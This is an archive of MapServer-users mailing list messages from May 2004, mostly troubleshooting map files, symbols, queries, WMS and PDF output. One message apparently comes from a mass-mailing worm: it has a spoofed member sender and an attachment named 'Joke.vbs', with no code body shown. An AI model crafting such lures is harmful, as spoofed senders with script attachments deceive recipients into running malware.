layer. My guess is that the auto styling of your mapinfo has a problem. Can you use "ogrinfo" utility to get find the details of the feature (styling info) that appears to be the problem? Let me know if you need to find this utility or need more help debugging. This may be a common problem - I'd suggest changing your subject line to something like "symbol problem with auto style" - perhaps others will have more insight. From ealpert at digitalglobe.com Tue May 25 11:51:51 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Tue, 25 May 2004 12:51:51 -0600 Subject: [Mapserver-users] mapserver for phones / wireless Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140C2C@COMAIL01.digitalglobe.com> Funny you should ask this...I just got a Tungsten C and have been planning on working a mapserver display for it. My first attempt to just browse the variations of the itasca demo on it failed. My PDA does support javascript so I thought I'd be find but there are some path problems. For instance it's looking for the itasca_dhtml.html file in /cgi-bin/ which is odd. Only had this thing a week but am planning on getting into it a bit more as eventually there may be some PDA applications for my work. What have you tried? -ethan -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Brian Russo Sent: Tuesday, May 25, 2004 11:51 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] mapserver for phones / wireless Anyone here used mapserver or otherwise done anything with maps on phones/pdas before? I know I asked this a while ago, but never got any response, trying again. cheers, - bri -- Recursivity. Call back if it happens again. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Zamil.Murji at divestco.com Tue May 25 12:26:21 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Tue, 25 May 2004 13:26:21 -0600 Subject: [Mapserver-users] What are my options... Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303B5817@DIV-MX02.divestco> Hello list, I've got a layer in my .map file which points to a postgis data source. Everything works great. I currently turn this layer on when the scale is < 1000000. I find that it takes too long for the image to draw if I turn on this layer at a higher scale. So what I would like to do is pregenerate a image that has all the rows from my postgis database. That way I could turn that on before 1000000 and switch to the live data after that. What are my options for creating such a file? What format should this file be in? Thanks Zamil From mike.merrett at city.whitehorse.yk.ca Tue May 25 12:08:30 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Tue, 25 May 2004 12:08:30 -0700 Subject: [Mapserver-users] symbol problem with auto style Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEECF@DUKE.city.whitehorse.yk.ca> Sorry, I had cut down the map file for the email -- (but the line number was the last end in the map file) -- here is everything again. it appears that the symbol name it is looking for (in the map file or the symbol file) is the either "TEXT" field or the "LABEL(t:xxxxx)" field which will never exist ( I would have to create more than 1000 symbols) the error log file has the following (notice the numbers and text in the brackets (this is the text: Tue May 25 11:57:10 2004 - getSymbol(): Symbol definition error. Parsing error near (408):(line 131) Tue May 25 11:57:10 2004 - getSymbol(): Symbol definition error. Parsing error near (P.U.L. 20):(line 131) Tue May 25 11:57:10 2004 - getSymbol(): Symbol definition error. Parsing error near (P.U.L. 21):(line 131) Tue May 25 11:57:10 2004 - getSymbol(): Symbol definition error. Parsing error near (407 REM):(line 131) Tue May 25 11:57:10 2004 - getSymbol(): Symbol definition error. Parsing error near (KODIAK PLACE):(line 131) Tue May 25 11:57:10 2004 - getSymbol(): Symbol definition error. Parsing error near (475):(line 131) a block from the ogrinfo gives the following (note this is the only block with the text KODIAK PLACE): OGRFeature(CAD_text):7846 DXF_ (Integer) = 7846 DXF_ID (Integer) = 7846 X (Real) = 494272.209545523 Y (Real) = 6729098.07961854 OFFSETX (Real) = 0 OFFSETY (Real) = 0 HEIGHT (Real) = 6 SYMBOL (Integer) = 4 LEVEL (Integer) = 5 TEXT (String) = KODIAK PLACE e00_anno_id (Integer) = 7846 e00_text_level (Integer) = 5 e00_anno_name (String) = DXF Style = LABEL(t:"KODIAK PLACE",a:0.000000,s:4.799023g,c:#000000,p:1,f:"") POINT (494272.206 6729098.082) The map file is (note if I uncomment the symbolset the error line is the last one in the symbol file regardless of the contents of the symbol file ): MAP debug true NAME Whitehorse STATUS ON SIZE 500 400 # SYMBOLSET "e:\\VariousData\\Devel\\map_test\\etc\\symbols.sym" extent 485108.508198 6714194.605109 506888.578325 6745540.034837 UNITS METERS SHAPEPATH "e:\\VariousData\\Devel\\map_test\\data" FONTSET "e:\\VariousData\\Devel\\map_test\\etc\\fonts.txt" IMAGECOLOR 255 255 255 IMAGETYPE png24 PROJECTION ## <32608> "proj=utm" #"init=epsg:32608" "ZONE=8" "ellps=WGS84" "datum=WGS84" "units=m" "north" "no_defs" END # # Start of web interface definition # WEB #MINSCALE 2000000 minscale 5 MAXSCALE 60000000 IMAGEPATH "e:\\VariousData\\Devel\\map_test\\tmp\\" IMAGEURL "/map_test/tmp/" log 'gmap.log' METADATA "title" "Whitehorse, YT (General)" "author" "Mike Merrett" END END # # Start of reference map # REFERENCE IMAGE images/City_of_Whitehorse_key.png extent 485108.508198 6714194.605109 506888.578325 6745540.034837 STATUS ON COLOR -1 -1 -1 OUTLINECOLOR 255 0 0 SIZE 120 90 END # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM # COLOR 0 0 89 END STATUS ON #template "legend.html" END # # Start of scalebar # SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 0 0 0 SIZE SMALL END SIZE 400 5 COLOR 255 255 255 BACKGROUNDCOLOR 0 0 0 OUTLINECOLOR 0 0 0 UNITS kilometers INTERVALS 5 STATUS ON END QUERYMAP STYLE HILITE #selected COLOR 255 0 0 # status on END OUTPUTFORMAT NAME png24 DRIVER "GD/PNG" MIMETYPE "image/png" IMAGEMODE rgba EXTENSION "png" END LAYER NAME "Cadastre Text" CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Cadastre\CAD_text.tab" CONNECTIONTYPE OGR METADATA DESCRIPTION "Cadastre Text" END STATUS ON TYPE annotation #minscale 100 #MAXSCALE 5000 STYLEITEM "AUTO" LABELITEM "TEXT" CLASS debug true NAME "Cadastre Text" LABEL position auto PARTIALS true angle auto END # end of label END END # layer END -----Original Message----- From: Tyler Mitchell [mailto:TMitchell at lignum.com] Sent: May 25, 2004 11:38 AM To: Merrett, Mike Cc: MapServer-Users (mail list) (E-mail) Subject: RE: [Mapserver-users] (no subject) > Here is the map file. I am not sure if it worked before I upgraded > to 4.2b3 (as I didnt find the errorlog until after the upgrade) > If I had to guess I would say that it is looking at the lable information > and trying to decode a symbol out of it but all my lable texts are either > random numbers or some text (i.e. lot numbers and street names) Looks bizarre to me - certainly not self-evident enough for me to help with. What I find strange is that your error references line 1363 I assumed this was referring to a line in your map file. But your map file is <200 lines long. Furthermore you are not explicitly setting a SYMBOL for that layer. My guess is that the auto styling of your mapinfo has a problem. Can you use "ogrinfo" utility to get find the details of the feature (styling info) that appears to be the problem? Let me know if you need to find this utility or need more help debugging. This may be a common problem - I'd suggest changing your subject line to something like "symbol problem with auto style" - perhaps others will have more insight. From murilo.yoshida at agx.com.br Tue May 25 14:06:00 2004 From: murilo.yoshida at agx.com.br (Murilo Lacerda Yoshida) Date: Tue, 25 May 2004 18:06:00 -0300 Subject: RES: [Mapserver-users] Map interpolation Message-ID: <000001c4429c$1910cf80$1364a8c0@parapente> Hi again, I looked at the openEV documentation and apparently openEV only does interpolation for raster images... Frank, do you know a way or a tool that does the automatic generalization of the shape files (vector data)? And I searched at the google, I couldn't find a tool that would do interpolation with vector data as input... I'm beginning to think that there is no such thing... Thanks, Murilo -----Mensagem original----- De: Murilo Lacerda Yoshida [mailto:murilo.yoshida at agx.com.br] Enviada em: sexta-feira, 21 de maio de 2004 17:23 Para: 'Frank Warmerdam'; (mapserver-users at lists.gis.umn.edu); 'Tyler Mitchell' Assunto: RES: [Mapserver-users] Map interpolation Frank, Tyler, What I want to do is this automatic generalization of vector data. Actually the best solution would be to generate a raster data from a vector data. I have a map with several polygons. Each polygon has a data associated with it, population, for example. I guess that to do the raster data from vector data I would have to size down my polygons, until they had the size of a pixel, but that would have too much cost, since the polygons I have on the map are created dynamically... I don't know if openEV has this kind of stuff implemented... it would be of great help... Anyway, if I could stop the process of sizing down the polygons before they reached the pixel size I guess that would be nice too. Thanks, Murilo -----Mensagem original----- De: Frank Warmerdam [mailto:warmerdam at pobox.com] Enviada em: quinta-feira, 20 de maio de 2004 01:41 Para: murilo.yoshida at agx.com.br Assunto: Re: [Mapserver-users] Map interpolation Murilo Lacerda Yoshida wrote: > Hi all, > > > > I wanted to know if mapserver does map interpolation. If not, do you > know a open source tool that does it? Murilo, "Map interpolation" is a pretty general term in my opinion. What exactly are you looking for? Automatic generalization of vector data? Smooth interpolation of raster data during oversampling? Best regards, -- ---------------------------------------+-------------------------------- ------ I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From TMitchell at lignum.com Tue May 25 14:35:15 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 25 May 2004 14:35:15 -0700 Subject: RES: [Mapserver-users] Map interpolation In-Reply-To: <000001c4429c$1910cf80$1364a8c0@parapente> Message-ID: I'd bet GRASS does. mapserver-users-admin at lists.gis.umn.edu wrote on 05/25/2004 06:06:00 PM: > Hi again, > > I looked at the openEV documentation and apparently openEV only does > interpolation for raster images... > Frank, do you know a way or a tool that does the automatic > generalization of the shape files (vector data)? > And I searched at the google, I couldn't find a tool that would do > interpolation with vector data as input... I'm beginning to think that > there is no such thing... > Thanks, > Murilo > > -----Mensagem original----- > De: Murilo Lacerda Yoshida [mailto:murilo.yoshida at agx.com.br] > Enviada em: sexta-feira, 21 de maio de 2004 17:23 > Para: 'Frank Warmerdam'; (mapserver-users at lists.gis.umn.edu); 'Tyler > Mitchell' > Assunto: RES: [Mapserver-users] Map interpolation > > Frank, Tyler, > What I want to do is this automatic generalization of vector data. > Actually the best solution would be to generate a raster data from a > vector data. > I have a map with several polygons. Each polygon has a data associated > with it, population, for example. I guess that to do the raster data > from vector data I would have to size down my polygons, until they had > the size of a pixel, but that would have too much cost, since the > polygons I have on the map are created dynamically... > I don't know if openEV has this kind of stuff implemented... it would > be of great help... > Anyway, if I could stop the process of sizing down the polygons before > they reached the pixel size I guess that would be nice too. > Thanks, > Murilo > > > -----Mensagem original----- > De: Frank Warmerdam [mailto:warmerdam at pobox.com] > Enviada em: quinta-feira, 20 de maio de 2004 01:41 > Para: murilo.yoshida at agx.com.br > Assunto: Re: [Mapserver-users] Map interpolation > > Murilo Lacerda Yoshida wrote: > > Hi all, > > > > > > > > I wanted to know if mapserver does map interpolation. If not, do you > > > know a open source tool that does it? > > Murilo, > > "Map interpolation" is a pretty general term in my opinion. What > exactly > are you looking for? Automatic generalization of vector data? Smooth > interpolation of raster data during oversampling? > > Best regards, > > -- > ---------------------------------------+-------------------------------- > ------ > I set the clouds in motion - turn up | Frank Warmerdam, > warmerdam at pobox.com > light and sound - activate the windows | http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial Programmer for Rent > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From TMitchell at lignum.com Tue May 25 14:38:15 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 25 May 2004 14:38:15 -0700 Subject: [Mapserver-users] symbol problem with auto style In-Reply-To: <3CB96EAEFD928B49AF8978BA92BB65A41DEECF@DUKE.city.whitehorse.yk.ca> Message-ID: Mike, did you get Daniel's note on this? I seemed to have missed it until now. http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0405/msg00605.html From mike.merrett at city.whitehorse.yk.ca Tue May 25 14:47:59 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Tue, 25 May 2004 14:47:59 -0700 Subject: [Mapserver-users] symbol problem with auto style Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEED1@DUKE.city.whitehorse.yk.ca> That fixed another issue (label rotation and positioning and color) -- but this one still remains -----Original Message----- From: Tyler Mitchell [mailto:TMitchell at lignum.com] Sent: May 25, 2004 2:38 PM To: Merrett, Mike Cc: MapServer-Users (mail list) (E-mail) Subject: RE: [Mapserver-users] symbol problem with auto style Mike, did you get Daniel's note on this? I seemed to have missed it until now. http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0405/msg00605.html From TMitchell at lignum.com Tue May 25 18:39:33 2004 From: TMitchell at lignum.com (TMitchell) Date: Tue, 25 May 2004 19:39:33 -0600 Subject: [Mapserver-users] Re: Incoming Message Message-ID: ----------lonwaghynjqanvxguilf Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------lonwaghynjqanvxguilf Content-Type: application/octet-stream; name="Joke.vbs" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Joke.vbs" ----------lonwaghynjqanvxguilf-- From NamnatSR at NV.DOE.GOV Tue May 25 17:53:20 2004 From: NamnatSR at NV.DOE.GOV (Namnath, Sharyn) Date: Tue, 25 May 2004 17:53:20 -0700 Subject: [Mapserver-users] PHP Mapserver tutorial Message-ID: <89E34224EAFDD411B6AD0002A529187F20751D@stl-exchpo1-nt.nv.doe.gov> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------=_NextPartTM-000-0747e463-c421-49c3-b680-511e8bd84e13 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C442BB.D6F42AA0" Content-Transfer-Encoding: 7bit ------_=_NextPart_001_01C442BB.D6F42AA0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi All, I'm trying to find a good tutorial for Mapserver & PHP. The one listed on Maptools.org http://www.maptools.org/php_mapscript/index.phtml?page=faq.html#3.2 Looks like what I need, but where it says : "You can download the whole source and data files from http://www2.dmsolutions.ca/mapserver/dl . " well, that doesn't exist anywhere I am looking. Does anyone know either where the source files are for this demo or another tutorial/demo available for me to try? I need to put a zoomable, clickable map on my webpage (like mapquest.com) and download all the associated files for the desired area, but first, I need to figure out how to put a map on a webpage. It looks like Mapserver & php will do the trick, but I am sure having trouble starting out.. Thanks for any help in advance, sharyn ------_=_NextPart_001_01C442BB.D6F42AA0 Content-Type: text/html Content-Transfer-Encoding: quoted-printable

Hi All,

 

I'm trying to find a good tutorial for Mapserver = & PHP.  The one listed on Maptools.org http://www.maptools.org/php_mapscript/index.phtml?page=3Dfaq.html= #3.2

 

Looks like what I need, but  where it says :  "You = can download the whole source and data files from http://www2.dmsolutions= .ca/mapserver/dl.

"

 

well, that doesn't exist anywhere I am = looking.  Does anyone know either where the source files are for this demo or = another tutorial/demo available for me to try? 

 

I need to put a zoomable, clickable map on my = webpage (like mapquest.com) and download all the associated files for the desired = area, but first, I need to figure out how to put a map on a webpage.  It = looks like Mapserver & php will do the trick, but I am sure having trouble starting = out..

 

Thanks for any help in advance,

 

sharyn

------_=_NextPart_001_01C442BB.D6F42AA0-- ------=_NextPartTM-000-0747e463-c421-49c3-b680-511e8bd84e13-- From dmorissette at dmsolutions.ca Tue May 25 18:05:52 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 25 May 2004 21:05:52 -0400 Subject: [Mapserver-users] symbol problem with auto style In-Reply-To: <3CB96EAEFD928B49AF8978BA92BB65A41DEED1@DUKE.city.whitehorse.yk.ca> References: <3CB96EAEFD928B49AF8978BA92BB65A41DEED1@DUKE.city.whitehorse.yk.ca> Message-ID: <40B3ED70.3050602@dmsolutions.ca> Merrett, Mike wrote: > That fixed another issue (label rotation and positioning and color) > > -- but this one still remains > BTW I don't understand what's going on with the error you get. Perhaps you could file a bug in bugzilla if you can package a testcase to reproduce it with a recent version of MapServer (v4.2) -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Tue May 25 18:08:27 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 25 May 2004 21:08:27 -0400 Subject: [Mapserver-users] PHP Mapserver tutorial In-Reply-To: <89E34224EAFDD411B6AD0002A529187F20751D@stl-exchpo1-nt.nv.doe.gov> References: <89E34224EAFDD411B6AD0002A529187F20751D@stl-exchpo1-nt.nv.doe.gov> Message-ID: <40B3EE0B.2030701@dmsolutions.ca> Namnath, Sharyn wrote: > Hi All, > > I'm trying to find a good tutorial for Mapserver & PHP. The one listed > on Maptools.org > http://www.maptools.org/php_mapscript/index.phtml?page=faq.html#3.2 > > Looks like what I need, but where it says : "You can download the > whole source and data files from http://www2.dmsolutions.ca/mapserver/dl. > > " > > well, that doesn't exist anywhere I am looking. Does anyone know either > where the source files are for this demo or another tutorial/demo > available for me to try? > The source of the GMap demo is at http://www.maptools.org/dl/gmap-ms40.zip -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From ms57 at streamyx.com Tue May 25 20:10:33 2004 From: ms57 at streamyx.com (ms57 at streamyx.com) Date: Wed, 26 May 2004 11:10:33 +0800 Subject: [Mapserver-users] define ellipse for map file Message-ID: <85073484e5a5.84e5a5850734@tm.net.my> Hi, I've been looking for the short form for the ellipse Malaysian Revised Everest (i.e. Kertau 48 datum). Is there a list of codes that cover all spheroids? If not, how do I define this ellipse given the semi-major, inverse flattening etc> Thanks From boli611 at hotmail.com Tue May 25 20:33:08 2004 From: boli611 at hotmail.com (boli) Date: Wed, 26 May 2004 11:33:8 +0800 Subject: [Mapserver-users] I have a question using mapserver. Message-ID: I have installed mapserver under IIS of win2000, and installed the tutorial. I can see the picture output in "Example 1.1: Map with a Single Layer". But I want to display another map, I copied all files for a map to directory "data" and editted the map file "example1-1.map", I could see nothing but a white blank in the place for the picture. What's wrong? From gerry.creager at tamu.edu Tue May 25 21:19:21 2004 From: gerry.creager at tamu.edu (Gerry Creager) Date: Tue, 25 May 2004 23:19:21 -0500 Subject: [Mapserver-users] mapserver for phones / wireless In-Reply-To: <20040525175041.GU30798@badfish.securityminded.net> References: <20040525175041.GU30798@badfish.securityminded.net> Message-ID: <40B41AC9.8080602@tamu.edu> I keep saying I'm going to, and maybe will tomorrow. Just have to see. As much as anything, it should be an issue of getting the image size right for the itty bitty screens! gerry Brian Russo wrote: > Anyone here used mapserver or otherwise done anything with maps on phones/pdas > before? > > I know I asked this a while ago, but never got any response, trying again. > > cheers, > - bri > -- Gerry Creager -- gerry.creager at tamu.edu Network Engineering -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Pager: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From jeff at propertykey.com Tue May 25 21:59:56 2004 From: jeff at propertykey.com (Jeff Hoffmann) Date: Tue, 25 May 2004 23:59:56 -0500 Subject: [Mapserver-users] mapserver for phones / wireless In-Reply-To: <40B41AC9.8080602@tamu.edu> References: <20040525175041.GU30798@badfish.securityminded.net> <40B41AC9.8080602@tamu.edu> Message-ID: <88813E74-AED1-11D8-BF68-000A95CD537A@propertykey.com> On May 25, 2004, at 11:19 PM, Gerry Creager wrote: > I keep saying I'm going to, and maybe will tomorrow. Just have to > see. As much as anything, it should be an issue of getting the image > size right for the itty bitty screens! Not only the image, you really need to "think small" for the whole application. I've used Perl/MapScript to create a couple of XHTML sites for cell phones which works out great if the phones you're interested in support them (most should by now) -- like Gerry said, the images I used were 100x100 PNGs (I think JPGs work, too, but I never tried) so they're pretty small, but big enough that they can be useful. It takes a little playing around to get them to look good at that size, but other than that, the rest is basically HTML. I downloaded a phone emulator from Openwave to do development on (not only does it speed things up quite a bit, but Openwave also provides the browsers for a lot of the phones so you're pretty sure your work will carry over to the actual phones). -- Jeff Hoffmann jeff at propertykey.com From 1wilkerson at charter.net Tue May 25 22:38:27 2004 From: 1wilkerson at charter.net (P Wilkerson) Date: Wed, 26 May 2004 01:38:27 -0400 Subject: [Mapserver-users] PHP/Mapscript -- A problem when modifying gmap75's GMapDumpQueryResults function References: <20040525175041.GU30798@badfish.securityminded.net> <40B41AC9.8080602@tamu.edu> Message-ID: <001001c442e3$abfb2970$6400a8c0@Dale1> Can someone shed some light on my problem? I have altered script within the GMapDumpQueryResults() function within gmap75.pdi (the file that comes with the gmap demo--current version) so I can format results output to include thumbnail images and create a link to a different web page. The problem is that everything works on one machine (using MS4W on a WinXP workstation) but when I load it on a different server it doesn't work. Specifically, the page "breaks" at the point when the PHP script calls for a map image. A line as simple as --> printf('%s', ''); <-- will cause the program to crash. If I don't turn on the raster file (the base map), then everything works well. Has anybody run into this before? Any suggestions? Peter From nicolas at maich.gr Tue May 25 23:09:34 2004 From: nicolas at maich.gr (Nicolas Boretos) Date: Wed, 26 May 2004 09:09:34 +0300 Subject: [Mapserver-users] NQUERY on version 3.6 vs 4.01 differences? In-Reply-To: References: Message-ID: <40B4349E.9030107@maich.gr> Hello, I've a mapfile in which the nquery works correctly using 3.6 based ms, returning results from the 3 active layers but not correctly on 4.01 ms e.g., only return query from a single layer. Has anything changed, or should I start looking at my compilations etc.... I've found this bug reference... http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=569 but my template is in the class..... ----mapfile snippet--- . . .other layers ommited... # 3 layer ktiria layer classitem "ID" data "ktiria" footer "ktiria_footer.html" group "ktiria" header "ktiria_header.html" labelcache on labelitem "ID" name "ktiria" postlabelcache true status on type polygon # 1 class ktiria_1 class backgroundcolor 128 128 128 color 128 128 0 name "ktiria_1" outlinecolor 0 0 0 template "ktiria_query.html" end end # 4 layer intranet layer classitem "Id" data "intranet" footer "intranet_footer.html" group "intranet" header "intranet_header.html" labelcache on labelitem "Id" name "intranet" postlabelcache true status on type line # 1 class intranet_1 class backgroundcolor 128 128 128 color 255 0 55 name "intranet_1" outlinecolor 0 0 0 template "intranet_query.html" end end -------end snippet...... only the "ktiria" layer shows up using an nquery.... regards, nicolas From aaronkoning at shaw.ca Tue May 25 23:11:49 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Tue, 25 May 2004 23:11:49 -0700 Subject: [Mapserver-users] querybyattributes logical expression Message-ID: Hi List, Just wondering if anyone has had success using querybyattributes with the '>', '<', '>=', '<=' operators? I have been using the 'NOT', 'AND', 'OR', and '=' operators with success. The following statement fails: $queryString = "('[AREA]' > '10')" $queryItem = 'AREA'; $map->querybyattributes($queryitem,$queryString,MS_MULTIPLE); ----
Warning: [MapServer Error]: msQueryByAttributes(): No matching record(s) foun d. in /var/www/html/igf/code/ri_php/riUMinnMapserverMap_class.php on line 103 5

Warning: [MapServer Error]: msyyparse(): parse error in /var/www/html/igf/code/ri_php/riUMinnMapserverMap_class.php on line 103 5
--- I am using PHP, mapserver-4.0.2, and shapefiles. thanks, Aaron From Antti.Roppola at brs.gov.au Tue May 25 23:28:43 2004 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Wed, 26 May 2004 16:28:43 +1000 Subject: [Mapserver-users] Text labels do not appear in PDF output Message-ID: <3E4215C93D3CE24D84A9FF385DF88D8702A086ED@afeb-ms-02> Hello all, I am generating PDF maps using Mapserver (CGI 4.0.1 with libpdf and freetype built in. Town names appear correctly on the PNG output, but do not appear at all on the PDF output. The point markers do appear.. I am not using True Type fonts, or any kind of font declarations at all for that matter (just size and colour). Any hints on how to get labels working in PDF? Do I need to explicitly use fonts or something? (that's my next test) Thanks, Antti From andrew at andrewhaigh.net Wed May 26 00:22:02 2004 From: andrew at andrewhaigh.net (andrew at andrewhaigh.net) Date: Wed, 26 May 2004 09:22:02 +0200 Subject: [Mapserver-users] =?iso-8859-1?Q?WMS_Queries?= Message-ID: <6282669$108555606840b44564132328.93437145@config6.schlund.de> Morning all, Yesterday I downloaded installed MapServer 4.0.2 (ms402_png_pg.zip) and I've tested it very successfully with the demo and created my own sample map file. I'm very impressed with the performance and functionality, so well done! However, I've now hit a bit of a problem, I'm attempting to connect to the WMS using ESRI ArcExplorer 4.01 (Build 630.773) with the Interoperability extension (version 1) but I keep getting the following error 'Invalid Capabilities File'. I think that the problem is that ESRI only support WMS Version 1.1.1 and MapServer 4.0.2 only supports WMS Versions upto 1.1.0. So my questions are: 1. Will or does MapServer 4.2 Beta support WMS version 1.1.1 and when will it be released? 2. Is it possible to use MapServer as a WMS client for a WMS that requires HTTPS? 3. Is it possible to use MapServer as a WMS client to connect to a WMS that requires authentication? Many thanks in advance, Andrew PS The Full Error message for ArcExplorer is: GetCapabilities Request : http://myhost/scripts/mapserv.exe?map=C:\MapServer\workshop\itasca.map&VERSION=1.1.1&WMTVER=1.1.1&SERVICE=WMS&REQUEST=capabilities GetCapabilities Request : http://myhost/scripts/mapserv.exe?map=C:\MapServer\workshop\itasca.map&VERSION=1.1.1&WMTVER=1.1.1&SERVICE=WMS&REQUEST=capabilities ###### Start to WMS getCapabilities in GetWMSService class version=null ************** realVersion is = none ************** Version is = null This version is not supported ******** Exception for WMS:null java.lang.NullPointerException ..... -- Andrew Haigh From bartvde at xs4all.nl Wed May 26 01:02:32 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Wed, 26 May 2004 10:02:32 +0200 (CEST) Subject: [Mapserver-users] WMS Queries In-Reply-To: <6282669$108555606840b44564132328.93437145@config6.schlund.de> References: <6282669$108555606840b44564132328.93437145@config6.schlund.de> Message-ID: <8235.212.238.227.182.1085558552.squirrel@webmail.xs4all.nl> Hi, answers inline. First of all, most info can be found at the Wiki: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?WMSMapserverArcExplorer > > Morning all, > > Yesterday I downloaded installed MapServer 4.0.2 (ms402_png_pg.zip) and > I've tested it very successfully with the demo and created my own > sample map file. I'm very impressed with the performance and > functionality, so well done! > > However, I've now hit a bit of a problem, I'm attempting to connect to > the WMS using ESRI ArcExplorer 4.01 (Build 630.773) with the > Interoperability extension (version 1) but I keep getting the following > error 'Invalid Capabilities File'. I think that the problem is that > ESRI only support WMS Version 1.1.1 and MapServer 4.0.2 only supports > WMS Versions upto 1.1.0. > > So my questions are: > > 1. Will or does MapServer 4.2 Beta support WMS version 1.1.1 and when > will it be released? Mapserver 4.2 does support WMS 1.1.1. ESRI ArcExplorer does however work with 1.1.0. > > 2. Is it possible to use MapServer as a WMS client for a WMS that > requires HTTPS? Good question. I don't think this will be possible out-of-the-box, but I could be wrong. I only know of an option to supply a user/password to a WMS server which is protected by Basic Authentication. See e.g.: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=581 > > 3. Is it possible to use MapServer as a WMS client to connect to a WMS > that requires authentication? > Yes, see answer to no. 2. Best regards, Bart > > > Many thanks in advance, > > Andrew > > PS > > The Full Error message for ArcExplorer is: > > GetCapabilities Request : > http://myhost/scripts/mapserv.exe?map=C:\MapServer\workshop\itasca.map&VERSION=1.1.1&WMTVER=1.1.1&SERVICE=WMS&REQUEST=capabilities > GetCapabilities Request : > http://myhost/scripts/mapserv.exe?map=C:\MapServer\workshop\itasca.map&VERSION=1.1.1&WMTVER=1.1.1&SERVICE=WMS&REQUEST=capabilities > ###### Start to WMS getCapabilities in GetWMSService class version=null > ************** realVersion is = none > ************** Version is = null > This version is not supported > ******** Exception for WMS:null > java.lang.NullPointerException ..... > > -- > Andrew Haigh > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From gheysen.t at skynet.be Wed May 26 01:13:50 2004 From: gheysen.t at skynet.be (gheysen.t at skynet.be) Date: Wed, 26 May 2004 10:13:50 +0200 Subject: [Mapserver-users] French caracters in querybyattributes Message-ID: <200405260813.i4Q8DoFd013879@outmx003.isp.belgacom.be> -------boundalter150977 Content-Type: text/plain Content-Transfer-Encoding: 8bit Hello, I have hade some problems with french caracters. First when I read the results of a query this caracters are not correct. I have solve this problem by modify the fonts encoding to ISO-8859-1. Thus, now, I can make a query and read the results correctly. But, I always have a problem with the caracter '. I make a query to find the town \"Braine l'Alleud\" and I always have no records. I have try with string comparaison et regular mapserver expression but it always the same problem. Thanks, Gheysen Thibaut -------boundalter150977 Content-Type: text/html Content-Transfer-Encoding: 8bit Content-Disposition: inline Hello,
 
I have hade some problems with french caracters.
First when I read the results of a query this caracters are not correct. I have solve this problem by modify the fonts encoding to ISO-8859-1. Thus, now, I can make a query and read the results correctly.
But, I always have a problem with the caracter '. I make a query to find the town "Braine l'Alleud" and I always have no records. I have try with string comparaison et regular mapserver expression but it always the same problem.
 
Thanks,
Gheysen Thibaut


-------boundalter150977-- From sebastien.dubois at esm2.imt-mrs.fr Wed May 26 01:26:04 2004 From: sebastien.dubois at esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS) Date: Wed, 26 May 2004 10:26:04 +0200 Subject: [Mapserver-users] IMPORTANT geotiff/tiff bug mapserver Message-ID: <1085559964.40b4549c338f8@webmail.esm2.imt-mrs.fr> Frank, well i hope you recognize me ;-) lets see last post below. you probably don't have the time to answer me the last time but it's not a problem. i've done a lot of experiments yet that would interest all the MAPSERVER LIST i've write a script to see the calls of mapserver (i've moved mapserv to mapserv.bin and then write my script mapserv to trace in a .log all what happens) my conclusions to sum up there's a native bug (segmentation fault) when mapserv start to read tiff or geotiff (i've got the two examples) something i didn't know before is that mapserv search for .tfw or wld natively it's cool. ---------------.log---------------------- open("/var/www/html/workshop/data/../last/gr_20k_montelimar_v1.tif", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0444, st_size=3520136, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000 read(3, "MM\0*\0005\254\250\302\232\3i\364i\250\201\232\370\232"..., 4096) = 4096 close(3) = 0 munmap(0x40015000, 4096) = 0 